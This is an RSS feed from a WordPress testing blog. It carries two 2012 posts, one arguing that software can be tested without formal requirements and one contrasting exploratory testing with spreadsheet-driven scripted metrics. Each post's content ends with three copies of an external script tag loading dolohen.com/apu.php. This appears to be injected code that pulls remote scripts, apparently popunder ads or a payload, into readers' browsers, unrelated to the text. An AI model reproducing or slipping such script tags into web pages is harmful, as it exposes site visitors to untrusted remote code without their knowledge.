<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Where Worlds Collide &#187; Exploratory Testing</title>
	<atom:link href="http://www.kalyr.co.uk/weblog/tag/exploratory-testing/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kalyr.co.uk/weblog</link>
	<description>The blogs of Tim Hall</description>
	<lastBuildDate>Fri, 10 Mar 2017 15:33:59 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=3.7.41</generator>
	<item>
		<title>Requirements? Are they necessary?</title>
		<link>http://www.kalyr.co.uk/weblog/computing/testing/requirements-are-they-necessary/</link>
		<comments>http://www.kalyr.co.uk/weblog/computing/testing/requirements-are-they-necessary/#comments</comments>
		<pubDate>Thu, 01 Nov 2012 18:56:23 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Testing & Software]]></category>
		<category><![CDATA[Exploratory Testing]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=5272</guid>
		<description><![CDATA[An except from a thread on the Software Testing Club's forum, where a poster suggested that it's impossible to test any software without a formal requirements document. <a href="http://www.kalyr.co.uk/weblog/computing/testing/requirements-are-they-necessary/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>In a thread on the <a href="http://www.softwaretestingclub.com/forum/topics/hiding-bugs?xg_source=msg_com_forum&#038;id=751045%3ATopic%3A17113">Software Testing Club</a>, one poster came up with this gem:</p>
<blockquote><p>I repeat, if you have no requirements, you cannot test anything. I think it&#8217;s important to grasp that there is a fundamental difference between a test, and an experiment <img src='http://www.kalyr.co.uk/weblog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p></blockquote>
<p>To which I replied:</p>
<blockquote><p>If you have no requirements, you have to make assumptions about how and what to test based on your knowledge of the domain and the system.</p>
<p>Being able to make those sorts of assumptions is part of the skill-set of a good tester. So is knowing when you lack sufficient domain knowledge to be able to make any meaningful assumptions.</p></blockquote>
<p>It&#8217;s the difference between intelligent exploratory testing and mindless script-checking. I test using a mental model of the system. Detailed functional specifications are often a very important source for that model, and when they exist, a tester should certainly read them. But knowing who and what to ask when you have gaps in your mental model is just as important. </p>
<p><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/computing/testing/requirements-are-they-necessary/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Exploratory Testing</title>
		<link>http://www.kalyr.co.uk/weblog/computing/testing/exploratory-testing/</link>
		<comments>http://www.kalyr.co.uk/weblog/computing/testing/exploratory-testing/#comments</comments>
		<pubDate>Wed, 17 Oct 2012 12:29:35 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Testing & Software]]></category>
		<category><![CDATA[Exploratory Testing]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=5010</guid>
		<description><![CDATA[Great blog post by Anne-Marie Charrett on Courage in Exploratory Testing. Exploratory Testing is tester centric, meaning the tester is central to the testing taking place. The tester has the autonomy and the responsibility to make decisions about what to &#8230; <a href="http://www.kalyr.co.uk/weblog/computing/testing/exploratory-testing/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Great blog post by <a href="https://twitter.com/charrett">Anne-Marie Charrett</a> on <a href="http://mavericktester.com/archive/courage-in-exploratory-testing/">Courage in Exploratory Testing</a>.</p>
<blockquote><p>Exploratory Testing is tester centric, meaning the tester is central to the testing taking place. The tester has the autonomy and the responsibility to make decisions about what to test, how to test, how much to test and when to stop. This may seem blatantly obvious to some, but its surprising the number of test teams where this is not the case.</p></blockquote>
<p>The downside is that management love their spreadsheets with their percentages and red yellow and green colour coding, which is where that courage thing comes in.</p>
<blockquote><p>In scripted testing, testers have artifacts which they measure and count giving an illusion of of certainty but really this is smoke and mirror reporting and generally offers little genuine information. â€œWe have reached 78% test coverage, with a DDR of 85%â€</p></blockquote>
<p>I used to work in a testing team where we had spreadsheet-based test scripts that calculated &#8220;percentage complete&#8221; and &#8220;percent confidence&#8221; by counting the number of boxes ticked off. The figures those formulae calculated were far less meaningful than estimates based on gut feeling.</p>
<p>For my current project I create test spreadsheets as I test, with &#8220;Test performed&#8221;, &#8220;Test Result&#8221; and &#8220;Pass/Fail&#8221; columns (There are other columns, but that&#8217;s the guts of it).Â  This provides the auditability that managment needs. There is no &#8220;Expected result&#8221; column, and that&#8217;s deliberate. Unfortunately there is no guarantee that management won&#8217;t see the thing as a test script and expect the whole lot to be re-run for regression testing&#8230;<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/computing/testing/exploratory-testing/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
